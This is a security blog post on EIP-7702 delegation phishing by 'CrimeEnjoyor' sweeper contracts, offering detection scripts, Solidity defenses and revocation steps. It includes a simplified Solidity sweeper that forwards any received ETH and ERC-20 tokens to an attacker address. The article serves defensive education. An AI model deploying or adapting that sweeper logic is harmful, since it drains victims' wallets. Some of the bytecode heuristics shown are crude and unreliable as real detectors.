DEV Community

ohmygod
ohmygod

Posted on

The CrimeEnjoyor Epidemic: How EIP-7702 Delegation Phishing Drained 450K+ Wallets — And How to Detect It On-Chain

Ethereum's Pectra upgrade brought EIP-7702 — a game-changer for account abstraction that lets externally owned accounts (EOAs) temporarily delegate execution to smart contracts. Better UX, batched transactions, gas sponsorship.

One problem: over 97% of EIP-7702 delegations in the wild pointed to malicious sweeper contracts. The biggest family? A contract dubbed CrimeEnjoyor by Wintermute.

This article breaks down the attack mechanics, explains why traditional phishing defenses fail against delegation-based attacks, and provides concrete detection patterns for defenders.


What Changed With EIP-7702

Before Pectra, EOAs were simple: one private key, one signer, direct transaction execution. Smart contract wallets (ERC-4337) offered programmability but required deploying a new contract and migrating assets.

EIP-7702 introduced type 0x04 transactions with an authorization tuple:

authorization = (chain_id, address, nonce, y_parity, r, s)
Enter fullscreen mode Exit fullscreen mode

When signed, this tuple tells the network: "For this transaction, treat my EOA as if it delegates to the contract at address." The EOA's code pointer temporarily redirects to the delegate contract.

This is powerful. It's also a single signature away from total account compromise.

The Anatomy of a CrimeEnjoyor Attack

Step 1: Social Engineering the Delegation Signature

The attacker crafts a malicious authorization tuple pointing to a CrimeEnjoyor sweeper contract. Unlike traditional token approvals (which are visible and revocable), this delegation:

  • Is not an ERC-20 approval — it won't show up in Revoke.cash or similar tools
  • Grants code execution authority — the delegate contract runs as if it is the victim's account
  • Persists across transactions — once delegated, every future interaction routes through the malicious contract

The victim sees what looks like a normal signature request. Maybe a "free mint," a "gas refund claim," or a "wallet upgrade." One click.

Step 2: The Sweeper Activates

The CrimeEnjoyor contract family implements a minimal but devastating pattern:

// Simplified CrimeEnjoyor logic
fallback() external payable {
    // Any ETH received → immediately forwarded to attacker
    (bool s,) = ATTACKER.call{value: address(this).balance}("");
    require(s);
}

function execute(address token, uint256 amount) external {
    // Drain any ERC-20 tokens
    IERC20(token).transfer(ATTACKER, amount);
}
Enter fullscreen mode Exit fullscreen mode

The real contracts are slightly more sophisticated, but the core mechanic is the same: any asset that touches the wallet gets swept instantly.

Step 3: The Trap Is Set

Here's what makes this devastating:

  1. Victim signs the delegation → wallet is now compromised
  2. Attacker monitors the address for incoming transactions
  3. Someone sends ETH/tokens to the victim → swept within the same block
  4. Victim tries to "rescue" funds by sending gas → also swept
  5. Even airdrop claims or protocol rewards → intercepted

The wallet looks normal on Etherscan. The balance shows zero, but there's no obvious "drain" transaction — just a series of what look like outgoing transfers the user "made."

Why Traditional Defenses Fail

Token Approvals ≠ Delegation

Tools like Revoke.cash monitor approve() and permit() calls. EIP-7702 delegations bypass this entirely — they operate at the account level, not the token level.

Simulation Misses the Persistence

Transaction simulators (Tenderly, Blowfish) can flag a single malicious transaction. But the delegation persists across future transactions that haven't been submitted yet. The attack surface is everything that will ever happen to this wallet.

tx.origin Checks Are Broken

Pre-Pectra, require(tx.origin == msg.sender) was a reliable (if discouraged) way to ensure only EOAs called a function. With EIP-7702, an EOA with delegated code can now execute arbitrary logic while still being tx.origin. Reentrancy guards and EOA-only checks that rely on this assumption are bypassed.

Detection Patterns for Defenders

On-Chain: Identifying CrimeEnjoyor Contracts

The CrimeEnjoyor family shares bytecode signatures. Here's how to detect them:

Pattern 1: Code similarity analysis

from web3 import Web3

def is_crimeenjoyor_family(w3, address):
    code = w3.eth.get_code(address)
    # Known CrimeEnjoyor bytecode prefixes
    known_prefixes = [
        bytes.fromhex("6080604052"),  # Standard prefix
    ]
    # Check for attacker address hardcoded in bytecode
    # CrimeEnjoyor contracts embed the drain destination
    # Look for PUSH20 followed by known attacker addresses
    attacker_addresses = [
        # Add known attacker addresses here
    ]
    for addr in attacker_addresses:
        if addr.lower().replace("0x", "") in code.hex():
            return True
    return False
Enter fullscreen mode Exit fullscreen mode

Pattern 2: Behavioral analysis

def analyze_delegation_target(w3, delegate_address):
    """Flag suspicious delegation targets"""
    code = w3.eth.get_code(delegate_address)

    red_flags = 0

    # Flag 1: Very small bytecode (sweeper contracts are minimal)
    if len(code) < 200:
        red_flags += 1

    # Flag 2: Contains hardcoded address (fund destination)
    # PUSH20 opcode = 0x73
    push20_count = code.hex().count("73")
    if push20_count >= 1 and len(code) < 500:
        red_flags += 1

    # Flag 3: Has payable fallback but minimal other logic
    # Check for CALLDATASIZE near start (fallback routing)
    if b"\x36" in code[:20]:  # CALLDATASIZE early = fallback-heavy
        red_flags += 1

    # Flag 4: No access control patterns
    # Absence of CALLER (0x33) checks
    if b"\x33" not in code:
        red_flags += 1

    return red_flags >= 2
Enter fullscreen mode Exit fullscreen mode

Off-Chain: Monitoring for Delegation Events

Track type 0x04 transactions targeting your protocol's users:

def monitor_delegations(w3, watched_addresses):
    """Monitor for suspicious EIP-7702 delegations"""
    latest = w3.eth.block_number
    block = w3.eth.get_block(latest, full_transactions=True)

    for tx in block.transactions:
        # Type 4 = EIP-7702 delegation transaction
        if tx.get('type') == '0x4' and tx['from'] in watched_addresses:
            authorization_list = tx.get('authorizationList', [])
            for auth in authorization_list:
                delegate = auth['address']
                if analyze_delegation_target(w3, delegate):
                    alert(f"CRITICAL: {tx['from']} delegated to suspicious contract {delegate}")
Enter fullscreen mode Exit fullscreen mode

Wallet-Level: Pre-Signing Validation

If you're building a wallet or dApp, validate delegation targets before presenting them to users:

async function validateDelegation(
  delegateAddress: string, 
  provider: ethers.Provider
): Promise<{safe: boolean, reason: string}> {

  // Check 1: Is the delegate verified on Etherscan?
  // Verified source code = at least some transparency

  // Check 2: Contract age and interaction count
  const code = await provider.getCode(delegateAddress);
  if (code === '0x') {
    return { safe: false, reason: 'Delegate has no code deployed' };
  }

  // Check 3: Cross-reference against known malicious registries
  // Wintermute's CrimeEnjoyor database
  // GoPlus Security API
  // Forta alert feeds

  // Check 4: Does the contract implement standard interfaces?
  // Legitimate delegates typically implement ERC-165
  const iface = new ethers.Interface([
    'function supportsInterface(bytes4) view returns (bool)'
  ]);
  try {
    const contract = new ethers.Contract(delegateAddress, iface, provider);
    await contract.supportsInterface('0x01ffc9a7');
  } catch {
    return { safe: false, reason: 'Delegate does not implement ERC-165' };
  }

  return { safe: true, reason: 'Passed basic validation' };
}
Enter fullscreen mode Exit fullscreen mode

Defense Playbook for Protocol Developers

1. Don't Trust tx.origin — Ever

This was already bad practice. EIP-7702 made it exploitable:

// ❌ BROKEN: Can be bypassed by delegated EOA
require(tx.origin == msg.sender, "No contracts");

// ✅ BETTER: Check code size at call time
require(msg.sender.code.length == 0, "No contracts");

// ⚠️ BUT: Even this is unreliable with EIP-7702
// EOAs with active delegation WILL have code
// Consider: do you actually need this check?
Enter fullscreen mode Exit fullscreen mode

2. Implement Delegation-Aware Access Control

// Check if an address has an active EIP-7702 delegation
function hasDelegation(address account) internal view returns (bool) {
    bytes memory code = account.code;
    // EIP-7702 delegated accounts have a specific code prefix
    // 0xef0100 followed by the delegate address
    return code.length == 23 && 
           code[0] == 0xef && 
           code[1] == 0x01 && 
           code[2] == 0x00;
}

function secureFunction() external {
    if (hasDelegation(msg.sender)) {
        // Additional verification for delegated accounts
        // e.g., require signature over function-specific data
        // or check delegate against allowlist
    }
}
Enter fullscreen mode Exit fullscreen mode

3. Rate-Limit High-Value Operations

If a previously dormant wallet suddenly starts batching transactions through a delegate, that's a signal:

mapping(address => uint256) public lastActivity;
mapping(address => uint256) public activityCount;

modifier rateLimited() {
    if (block.timestamp - lastActivity[msg.sender] < 1 hours) {
        activityCount[msg.sender]++;
        require(activityCount[msg.sender] <= 5, "Rate limited");
    } else {
        activityCount[msg.sender] = 1;
    }
    lastActivity[msg.sender] = block.timestamp;
    _;
}
Enter fullscreen mode Exit fullscreen mode

For Users: How to Check If You're Compromised

Quick Check


cast code <YOUR_ADDRESS> --rpc-url https://eth.llamarpc.com




Enter fullscreen mode Exit fullscreen mode

Revoking a Delegation

To revoke an EIP-7702 delegation, submit a new type 0x04 transaction delegating to address(0) or to a known-safe delegate:



cast send --auth <YOUR_ADDRESS>=0x0000000000000000000000000000000000000000 \
  --rpc-url https://eth.llamarpc.com \
  --private-key <YOUR_KEY>
Enter fullscreen mode Exit fullscreen mode

Critical caveat: If your private key is compromised (not just phished into signing a delegation), revoking won't help — the attacker will simply re-delegate. In this case, your only option is to transfer all assets to a fresh wallet as quickly as possible.

The Bigger Picture

EIP-7702 is genuinely useful technology. Batched transactions, gas sponsorship, and programmable EOAs are real improvements. But the 97% malicious delegation rate reveals a fundamental UX problem: users cannot distinguish legitimate delegation requests from malicious ones.

The fix isn't technical — it's informational:

  1. Wallets must surface delegation details prominently — not buried in "advanced" tabs
  2. Delegate contract registries (like Wintermute's CrimeEnjoyor database) need to become standard infrastructure
  3. Protocol developers must stop assuming EOAs can't execute code
  4. Users need education — "signing a delegation" is as dangerous as "exporting your private key"

The CrimeEnjoyor epidemic isn't over. As long as delegation requests look like harmless signatures, attackers will exploit the gap between what users see and what they're actually authorizing.


Security research by the author. Follow for more DeFi security analysis, vulnerability breakdowns, and audit tooling guides.

Tags: ethereum, security, defi, web3

Top comments (0)